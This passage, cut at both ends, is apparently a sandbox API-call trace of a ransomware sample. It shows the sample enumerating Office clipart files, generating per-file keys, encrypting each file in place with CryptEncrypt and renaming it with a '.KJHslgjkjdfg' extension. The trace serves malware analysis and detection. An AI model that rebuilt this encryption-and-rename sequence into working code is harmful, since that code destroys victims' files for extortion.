[0205.910] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.910] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.910] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.910] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.910] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.910] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.910] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2590, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2590, lpOverlapped=0x0) returned 1 [0205.911] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2590, dwBufLen=0x2590 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2590) returned 1 [0205.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.911] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2590, lpOverlapped=0x0) returned 1 [0205.911] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.911] SetEndOfFile (hFile=0x130) returned 1 [0205.919] GetProcessHeap () returned 0x2ef0000 [0205.919] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.919] GetProcessHeap () returned 0x2ef0000 [0205.919] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.919] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf.kjhslgjkjdfg")) returned 1 [0205.921] CloseHandle (hObject=0x130) returned 1 [0205.921] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292248.WMF", cAlternateFileName="")) returned 1 [0205.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.923] GetProcessHeap () returned 0x2ef0000 [0205.923] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.923] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.924] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0206.002] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.002] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.002] GetProcessHeap () returned 0x2ef0000 [0206.002] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.002] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.002] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.002] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.002] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.002] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.002] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.003] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.003] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.003] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.003] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x20e4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x20e4, lpOverlapped=0x0) returned 1 [0206.004] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20f0) returned 1 [0206.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.004] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x20f0, lpOverlapped=0x0) returned 1 [0206.004] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.005] SetEndOfFile (hFile=0x130) returned 1 [0206.008] GetProcessHeap () returned 0x2ef0000 [0206.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.008] GetProcessHeap () returned 0x2ef0000 [0206.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf.kjhslgjkjdfg")) returned 1 [0206.010] CloseHandle (hObject=0x130) returned 1 [0206.010] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7aa6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292270.WMF", cAlternateFileName="")) returned 1 [0206.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.011] GetProcessHeap () returned 0x2ef0000 [0206.011] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.011] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.011] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0206.014] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.014] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.014] GetProcessHeap () returned 0x2ef0000 [0206.014] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.014] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.014] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.014] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.014] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.014] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.014] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.014] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.014] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.015] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.015] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7aa6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7aa6, lpOverlapped=0x0) returned 1 [0206.016] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ab0, dwBufLen=0x7ab0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ab0) returned 1 [0206.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.016] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ab0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ab0, lpOverlapped=0x0) returned 1 [0206.017] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.017] SetEndOfFile (hFile=0x130) returned 1 [0206.020] GetProcessHeap () returned 0x2ef0000 [0206.020] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.020] GetProcessHeap () returned 0x2ef0000 [0206.020] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf.kjhslgjkjdfg")) returned 1 [0206.021] CloseHandle (hObject=0x130) returned 1 [0206.021] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b64, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292272.WMF", cAlternateFileName="")) returned 1 [0206.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.023] GetProcessHeap () returned 0x2ef0000 [0206.024] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.024] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.024] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0206.026] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.026] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.026] GetProcessHeap () returned 0x2ef0000 [0206.026] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.026] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.026] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.026] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.026] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.026] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.026] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.027] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.027] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.027] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.027] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.027] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b64, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b64, lpOverlapped=0x0) returned 1 [0206.028] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b70, dwBufLen=0x1b70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b70) returned 1 [0206.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.028] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b70, lpOverlapped=0x0) returned 1 [0206.028] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.028] SetEndOfFile (hFile=0x130) returned 1 [0206.030] GetProcessHeap () returned 0x2ef0000 [0206.030] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.031] GetProcessHeap () returned 0x2ef0000 [0206.031] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf.kjhslgjkjdfg")) returned 1 [0206.032] CloseHandle (hObject=0x130) returned 1 [0206.032] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3658, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292278.WMF", cAlternateFileName="")) returned 1 [0206.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.034] GetProcessHeap () returned 0x2ef0000 [0206.034] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.034] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.034] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.036] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.036] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.036] GetProcessHeap () returned 0x2ef0000 [0206.036] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.036] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.036] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.036] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.036] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.037] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.037] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.037] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.037] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.037] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.037] SetFilePointerEx (in: hFile=0x130, 